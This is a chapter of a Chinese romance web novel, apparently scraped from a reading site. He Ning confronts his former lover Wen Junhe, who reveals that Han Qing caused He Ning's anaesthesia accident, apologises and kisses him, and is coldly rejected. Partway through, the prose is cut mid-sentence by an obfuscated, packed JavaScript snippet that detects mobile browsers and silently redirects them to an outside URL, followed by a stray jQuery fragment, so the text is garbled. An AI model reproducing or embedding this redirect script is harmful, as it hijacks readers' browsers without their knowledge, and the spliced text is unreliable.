高档餐厅的水晶灯在钢琴曲中泛着柔和的光,闻君鹤面前的咖啡已经凉了。
贺宁拉开椅子的动作很重,实木椅脚在大理石地面上刮出刺耳的声响。
他今天穿了件黑色毛衣,衬得肤色冷白,右手无名指上那枚戒指在灯光下格外明显。
闻君鹤的视线在那处停留了一秒,喉结动了动:“路上堵车了吗?”
贺宁是故意吃饭的,以前都是他等闻君,如今居然也有机会让闻君鹤等他。
钢琴曲正好换到下一章,欢快的旋律和此刻的气氛格格不入。
贺宁没接话,直接把手里的文件袋扔在桌上,“啪”的一声。
“闻君鹤,省掉这些没用的客套。”贺宁给人一种锋利感,“你寄那些资料给我,到底什么意思?”
贺宁盯着闻君鹤疲惫的脸,像是很久都没休息好,对方眼下泛着淡淡的青黑,这跟他记忆里那个永远一丝不苟的闻君鹤判若两人。
“先吃饭好吗?”闻君鹤的声音有些哑,带着请求的语气,“我一天没吃东西了。”
主菜一道道上桌,都是贺宁喜欢吃的,香煎鳕鱼配柠檬汁,烤芦笋去掉了根部,甚至甜点都是他最喜欢的熔岩蛋糕,所有他过敏的食材一样都没出现。
红酒在醒酒器里打着旋,店员小姐将餐食摆在餐桌中央。
还有蜡烛,贺宁甚至觉得这场景莫名熟悉起来,像他们从前在一起过纪念日。不过现在角色对调了,闻君鹤坐在对面,目光灼灼地看着他,而冷漠的那个人变成了他。
贺宁记得以前过纪念日时,他总会提前订餐厅,亲自挑选菜单,闻君鹤每次都是匆匆赶来。
闻君鹤伸手想给他倒酒,贺宁直接把酒杯扣在了桌布上,他没有一点胃口。
“我不能和你久待,免得出现在什么奇奇怪怪的新闻上,你最好说明你的来意,给我那些东西究竟是什么意思?”
脱离了某些束缚的贺宁重新恢复了他带着尖刺的那部分。
他散漫地长大,自由地生活,从不怠慢自己,也不宽容他人。
在网上搜索那天婚礼的相关新闻时,依稀可以见到媒体上出现的隐晦的,关于那天戏剧般的花边爆料。
周牟富敲打了贺宁说既然结婚了,以后要看清自己的位置。
贺宁当然清楚,他拉着周纪的胳膊,乖巧礼貌地说知道的,爸爸。
周崇靠在一旁盯着正在和周纪说话的贺宁,眼神阴得能滴出水来。
他被关了一天一夜,等周崇终于被放出来,婚礼结束了。
贺宁抬头瞥了见周崇的眼神,正好对上他的视线,嘴角一勾,故意往周纪身上靠了靠,然后把手指上的戒指露出来,把他气得要死。
周纪结婚了,周牟富说他们可以随时搬到市中心那套公寓。
周纪就看着闻君鹤吃饭。
闻君鹤像是真的饿了,一点点往嘴里塞着食物。
等到他终于吃完,闻君鹤垂着眼,缓缓开口道:“我查过了,你当初那场麻醉事故并不是意外,是韩卿做的,我想你有权知道。”
贺宁当然看过那些文件,照片上的医疗记录,一页页翻过去,他从不可置信到愤怒,后背渗出一层冷汗,不然他不会来这一趟。
韩卿。
这个名字像根刺一样扎在他记忆里,总是阴魂不散的家伙。
贺宁甚至记得韩卿每次嘲笑他的时候,镜片后那双带着讥笑的眼睛。但他从没想过,那些小打小闹的恶意,有一天会变成要他命的杀意。
可更令贺宁诧异地是闻君鹤居然能把这些给他。
贺宁的嘴角扯出一个冷笑:“你怎么舍得把这些给我,你跟韩卿不是那么好吗?明知道我看到这些一定会弄死他。”
闻君鹤手指在桌面上无意识地收拢又松开说:“宁宁,对不起,我五年前不该走的,不该让你一个人面对所有。”
贺宁的表情凝固了一瞬,随即突然笑出声来。他笑得肩膀直抖,手指按在桌沿上,指节都泛了白。那笑声在安静的餐厅里显得格外刺耳,连隔壁桌的客人都忍不住转头看过来。
“你居然还会跟我道歉?”贺宁抹了抹眼角,“闻君鹤,你居然会跟我道歉?”
闻君鹤的嘴唇动了动,那声“宁宁”叫得又轻又软,这个称呼,在他们最亲密的时候,闻君鹤都吝啬于叫出口。现在倒好,在他跟别人婚礼都办完了之后,这人倒想起来要深情了。
贺宁收了表情,冷冷开口:“别这样叫我。”
贺宁突然觉得没意思。他以前想破脑袋也猜不透闻君鹤的心思,现在更懒得猜了。
“道歉就算了,当年是我硬缠着你的,现在你把那份东西交给我,我这些年也不算完全是个笑话。”
贺宁已经不是十八岁,他早就明白,不是所有东西付出就能唾手可得,爱与不爱注定有偏颇,就算再不甘心也无济于事。
他等啊等,终于在心彻底冷掉之后,等到一次闻君鹤站在了他身边。
真是可笑。
“我是不会心软的,回去让韩卿请好律师吧。”
贺宁半起身的时候,闻君鹤突然身体往前伸握住了他的右手,好像慢了一刻贺宁就会消失在他面前。
贺宁俯视着闻君鹤,他看着闻君鹤的目光落在自己的手上,他抬了起来摸着那枚戒指,问闻君鹤:“我的戒指好看吗?”
那枚戒指的造型简单,不过一看便很贵重。
闻君鹤苦涩地说好看,想起了前不久的那一场宴请八方的婚礼,贺宁特意打扮过,他很适合那样的场合,高贵得好像王子,他们那场婚礼,并没有给贺宁好的体验。
事后贺宁甚至观察过他的神色小心地生闷气。
闻君鹤简直来不敢回想他都对贺宁做过什么。
“我跟韩卿已经不是朋友了。”
贺宁眉头微微皱起来:“怎么了,是因为我吗?那我该对你说谢谢吗?因为我,你放弃了韩卿是吗?”
“不是,我跟他一直没什么,他骗了我,你重要得多,一直都是。”
闻君鹤像是很不熟练似地说着这种话,想了想,又看着贺宁,期待得到什么反应。
贺宁张了张嘴,眼中有些悲哀但更多是觉得荒谬:“……你现在说的如果是我我过去听到应该开心,但现在未免有些太迟了。你觉得现在对我说这样合适吗?”
闻君鹤痛苦道:“……对不起,我不知道,我真的不知道。”
他该恨谁,明明最该恨的就是自己。
是他亲手把自己的爱人推得越来越远的。
他再不甘心被甩,哪怕多问一句贺宁,不高高在上地摆着姿态,也不会到把事情拖到现在这个地步。
闻君鹤永远挺直脊背,他以为贺宁会永远从身后抱上他,像以前一样贴近。
可现在贺宁已经不渴求他笔直的背为他弯下哪怕一点点距离。
他对贺宁的偏见从一开始就根深蒂固了,哪怕他嘴上再抗拒,可是心早就先一步动了,只是闻君鹤一直羞于承认。
“我看见了你扔掉的那个纸箱,对不起……我知道晚了,我不知道你当时很痛苦,我不知道你生病了,对不起……”
贺宁表情有些讶异,他曾经以为这一天他会委屈地在闻君鹤怀里大哭一场,告诉他自己一个人真的坚持了很久。
可他却很冷静,很轻地“嗯”了一声,然后告诉闻君鹤:“不用可怜我,那时候我们已经分手了,所以跟你没关系,不用往自己身上揽。”
曾经贺宁很多次撑不住的时候,他生起过很多次去找闻君鹤的念头。
现在想起来,幸好,他没去。
“我得感谢自己,如果不是跟你分手了,我不会遇到阿纪,或许我们早就应该分开了,对我们彼此都好。”
闻君鹤如鲠在喉,可他什么话都说不出来。
贺宁看着闻君鹤失态的样子,突然道:“我的东西被你收起来了吗?”
“……对。”
“还给我。”
贺宁去闻君鹤家拿回他的东西。
他不想把那些矫情的东西留在闻君鹤这里,特别是现在闻君鹤追悔莫及的表情,他觉得实在太讽刺了。
他们一路上都很沉默,闻君鹤以前不说话的时候居多,就是贺宁一个人的独角戏,他会聊很多,即使大多数都是闻君鹤不敢兴趣的话题。
直到贺宁也变得毫无波澜,闻君鹤才知道什么是真正的压抑。
闻君鹤打开房门,贺宁看见他拿出了拖鞋放在他面前。
闻君鹤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900384|176590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说他要喝水吗?
贺宁说他只想早点拿完东西回去,闻君鹤说等一下,就去书房拿东西,贺宁站在那里就看到了敞开的卧室门,他想起婚礼那天闻君鹤说他把房间都收拾好了。
贺宁忍不住进去,看见空出来一半的衣柜。
等闻君鹤抱着箱子出来,贺宁拿过来摆在地上清点东西,最后他抬起头:“还差一样东西。”
贺宁从闻君鹤手里接过了那枚戒指,闻君鹤拿出来的时候还有些不情愿。
这枚戒指,是贺宁亲自挑选的,是为了铭记他第一次刻骨铭心的爱情,承载着他十几岁最真诚的心动。
二十岁那年他挑的款式,内圈刻着他和闻君鹤名字的缩写。当时店员问他是不是要送人,他红着耳朵点头,说想送给很重要的人。现在想来真是天真得可笑,他以为只要够真心就能换来真心,以为这枚戒指能锁住闻君鹤一辈子。
闻君鹤看着贺宁低头露出的那一抹怀念的神情,胸口突然像被猛然烫了一下。他猛地伸手将人拽进怀里,手臂勒得贺宁后背。
贺宁身上的淡香混着发丝间的洗发水味道涌进鼻腔,闻君鹤把脸埋在他颈窝里胡乱蹭着,呼吸又急又重。
“宁宁……别离开我好不好。”
闻君鹤的嘴唇擦过贺宁耳垂,声音哑得不成调。他感觉到怀里的人瞬间绷紧了身体,却固执地不肯松手,反而抱得更紧。
吻胡乱落在贺宁额头、眼角,最后贴在颤抖的唇上,尝到一点咸涩的味道,不知道是谁的眼泪。
“别走,我真的错了,我过去对你不好,以后我会好好对你,我不能没有你,我们结婚好不好,以后会住在一起,不分开。”闻君鹤的声音抖得厉害,死死抱着贺宁,像是抓住最后的救命稻草。
闻君鹤从来没这么狼狈过,语无伦次地道歉,保证,连当年贺宁追他时说的那些肉麻话都翻出来重复。
贺宁的沉默让他心慌,闻君鹤只能一遍遍叫着那个曾经不屑于喊的昵称,仿佛这样就能把人留住。
贺宁起初挣了两下,肩膀扣得生疼。他皱着眉抬头,正对上闻君鹤通红的眼眶,挣扎的力道突然就泄了。
闻君鹤感觉到怀里的人卸了力气,心脏猛地跳得更快,手指发着颤捧起贺宁的脸。
唇上传来温软的触感时,闻君鹤呼吸都窒了一瞬。
贺宁没躲,也没回应,就这么任他贴着。
闻君鹤吻得很急,牙齿不小心磕到贺宁的下唇,尝到一点血腥味也没停下。他的手还抖得厉害,从贺宁的后颈摸到脊背,像在确认这个人是真实存在的。
闻君鹤贴着他唇角喘气,鼻尖蹭到一片湿凉,原来是他的眼泪。贺宁始终没推开他,但也没像以前那样主动环住他的脖子。
这种沉默的纵容比拒绝还让人心慌,闻君鹤又收紧手臂,把人往怀里按得更深了些。
以前就算他们就算做也不会经常接吻。
贺宁以前偏头想要讨到一个亲吻也得不到。
原来事实证明亲吻的确会暴露出情绪,贺宁能清晰地感受到闻君鹤的吻里带着的慌乱,明显的讨好和祈求。
贺宁垂着眼没动,任由闻君鹤近乎卑微地在他唇齿间索取那点温度。
贺宁被亲得站不稳,只能伸手扶住闻君鹤的腰,直到闻君鹤停下来了,他踮起脚把将唇靠近闻君鹤的耳垂处呼气,张了张嘴一字一句道:“闻君鹤,和我在一起,你硬//得起来吗?”
说罢又说出了一个德国药名。
正是韩卿给闻君鹤的药。
贺宁的头转过来时,闻君鹤和他冷漠平淡的眼神对上,刚才心中燃死的热火和希望瞬间像被一盆凉透的冷水浇灭,他呆呆怔住在原地,整个人如遭雷劈。
贺宁慢条斯理地整理着被扯乱的衣领,指尖抚平衬衫每一道褶皱。
他弯腰抱起纸箱时,闻君鹤甚至能听见自己心脏裂开的声音。
“这些都是垃圾,不要再捡回来了,还有,”贺宁在关门时顿了顿,“你的技//术真的很差。”
等闻君鹤终于能够挪动着身体脚步走到窗边,他看见贺宁把那个箱子扔进了垃圾桶,而后头也不回地往前,走了一段,突然想起什么举起手往后摆了摆,背影潇洒得像是在告别什么无关紧要的东西。